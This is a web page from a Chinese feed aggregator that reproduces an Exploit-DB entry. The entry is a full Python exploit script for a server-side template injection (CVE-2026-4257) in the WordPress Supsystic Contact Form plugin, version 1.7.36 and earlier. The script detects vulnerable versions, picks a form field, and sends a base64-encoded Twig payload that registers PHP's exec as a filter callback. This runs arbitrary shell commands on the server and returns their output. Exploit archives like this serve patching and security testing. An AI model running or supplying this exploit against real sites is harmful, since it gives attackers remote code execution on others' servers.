惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

IT之家
IT之家
Last Week in AI
Last Week in AI
博客园_首页
酷 壳 – CoolShell
酷 壳 – CoolShell
博客园 - 叶小钗
大猫的无限游戏
大猫的无限游戏
人人都是产品经理
人人都是产品经理
V
Visual Studio Blog
宝玉的分享
宝玉的分享
博客园 - Franky
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
月光博客
月光博客
T
Tailwind CSS Blog
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
量子位
博客园 - 聂微东
S
SegmentFault 最新的问题
博客园 - 司徒正美
罗磊的独立博客
V
V2EX
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
美团技术团队
小众软件
小众软件
Jina AI
Jina AI

Exploit-DB.com RSS Feed

MEmu Android Emulator 9.2.7.0 - Local Privilege Escalation OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive
OffSec’s Exploit Database Archive
bootstrapbool · 2026-05-14 · via Exploit-DB.com RSS Feed

WordPress Plugin Supsystic Contact Form 1.7.36 - SSTI

# Exploit Title: WordPress Plugin Supsystic Contact Form 1.7.36 - SSTI
# Date: 3/30/2026
# Exploit Author: bootstrapbool
# Vendor Homepage: https://supsystic.com/plugins/contact-form-plugin/
# Software Link: https://wordpress.org/plugins/contact-form-by-supsystic/
# Version: <= 1.7.36
# Tested on: Ubuntu 24 and Windows 10
# CVE : CVE-2026-4257


import argparse
import base64
import re
import requests

class status:
    OKGREEN = "\033[32m"
    WARNING = "\033[33m"
    FAIL = "\033[31m"
    ENDC = "\033[0m"
    NOCOLOR = False
    VERBOSE = False

    @classmethod
    def print(cls, message: str, status: str = None):

        if cls.NOCOLOR:
            print(message)
            return

        match status:
            case "FAIL":
                print(f"{cls.FAIL}{message}{cls.ENDC}")
            case "WARNING":
                print(f"{cls.WARNING}{message}{cls.ENDC}")
            case "SUCCESS":
                print(f"{cls.OKGREEN}{message}{cls.ENDC}")
            case _:
                print(message)

    @classmethod
    def vprint(cls, message: str, status: str = None):
        if cls.VERBOSE:
            cls.print(message, status)

def get_page(url: str) -> str:

    try:
        res = requests.get(url)
        res.raise_for_status()
    except requests.excpetions.RequestException as e:
        status.print(f"Request to {url} failed with {res.status_code}")
        exit(1)

    if res.status_code != 200:
        status.print(f"Got {res.status_code} for request to: {url}", "WARNING")

    return res.text

def get_version(body: str) -> str | None:
    pattern = r'suptablesui.min.css\?ver=([0-9\.]+)'

    match = re.search(pattern, body)

    if match:
        return match.group(1)

def is_vulnerable(version: str) -> bool:

    try:
        major, minor, patch = map(int, version.split("."))
        return (major, minor, patch) <= (1, 7, 36)
    except:
        status.vprint(f"Failed to parse version.", "WARNING")

def detect_version(body: str):
    version = get_version(body)

    vulnerable = is_vulnerable(version)
    if vulnerable:
        status.vprint(f"Detected version {version} is vulnerable.", "SUCCESS")
    elif vulnerable != None:
        status.vprint(
            f"Detected version {version} is not vulnerable.",
            "WARNING")

def detect_fields(body: str) -> list[str] | None:
    """Automatically attempt to get Contact Form fields to use for SSTI"""

    pattern = r'data-name="([^"]+)"'

    field_names = list(set(re.findall(pattern, body)))

    if field_names:
        status.print(f"Detected fields: {field_names}", "SUCCESS")
        return field_names

def handle_field(body: str, field: str | None) -> str:

    if field:
        return field

    fields = detect_fields(body)

    if fields is not None:
        status.vprint(f"Using automatically detected field: {fields[0]}")

        return fields[0]

    status.print("Failed to detect fields.", "FAIL")
    exit(1)

def get_output(field: str, body: str) -> str | None:

    pattern = rf'name="fields\[{re.escape(field)}\]"\s+value="([^"]+)"'
    match = re.search(pattern, body)

    if match:
        return match.group(1)

def exploit(url: str, payload: str, field: str) -> str | None:

    utf8_var = "{%set a%}UTF-8{%endset%}"
    base64_var = "{%set b%}BASE64{%endset%}"

    twig_payload = "{%set p%}" +  base64.urlsafe_b64encode(payload.encode('utf-8')).decode('utf-8') + "{%endset%}"

    # The () ensures the variables are not treated as string literals
    twig_payload_decode = "{%set p = p|convert_encoding((a), (b))%}"

    register_callback = "{%set e%}exec{%endset%}{{_self.env.registerUndefinedFilterCallback(e|lower)}}"

    exec_filter = "{{_self.env.getFilter(p)}}"

    ssti_payload = utf8_var + base64_var + twig_payload + twig_payload_decode + register_callback + exec_filter
    status.vprint(f"Payload: {payload}")

    params = {
        "cfsPreFill": 1,
        field: ssti_payload}

    try:
        res = requests.get(url, params)
        res.raise_for_status()
    except requests.excpetions.RequestException as e:
        status.print(f"Request to {url} failed with {res.status_code}")
        exit(1)

    if res.status_code != 200:
        status.print(f"Got {res.status_code} for request to: {url}", "WARNING")

    return get_output(field, res.text)

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "--field",
        type = str,
        help = ("Valid field part of the Contact Form. The defaults are "
            + "first_name, last_name, subject, message, and email. Though it's "
            + "possible for none of these fields to appear. Not all field types"
            + "work. The tested field types that are confirmed to work are"
            + "Text, Textarea, Number, Email, Time, and URL. Buttons do not "
            + "work."))
    parser.add_argument(
        "--no-color",
        action = "store_true",
        help = "If you dont want pretty colors in your output.")
    parser.add_argument(
        "--verbose",
        "-v",
        action = "store_true")
    parser.add_argument(
        "url",
        type = str,
        help = ("Full URL to page with vulnerable Contact Form component. " \
            + "Ex: http://localhost:4444/sample.php"))
    parser.add_argument(
        "payload",
        type = str,
        default = None,
        help = ("Shell commands to be executed."))

    args = parser.parse_args()

    status.NOCOLOR = args.no_color
    status.VERBOSE = args.verbose

    body = get_page(args.url)

    detect_version(body)
    field = handle_field(body, args.field)

    output = exploit(args.url, args.payload, field)

    if output:
        if output.lower() == field.lower():
            status.print(
                "Output is same as field. Maybe try a different field?",
                "WARNING")
        status.print(output)
    else:
        status.print(
            f"Failed to extract output with field '{field}'",
            "FAIL")

if __name__ == "__main__":
    main()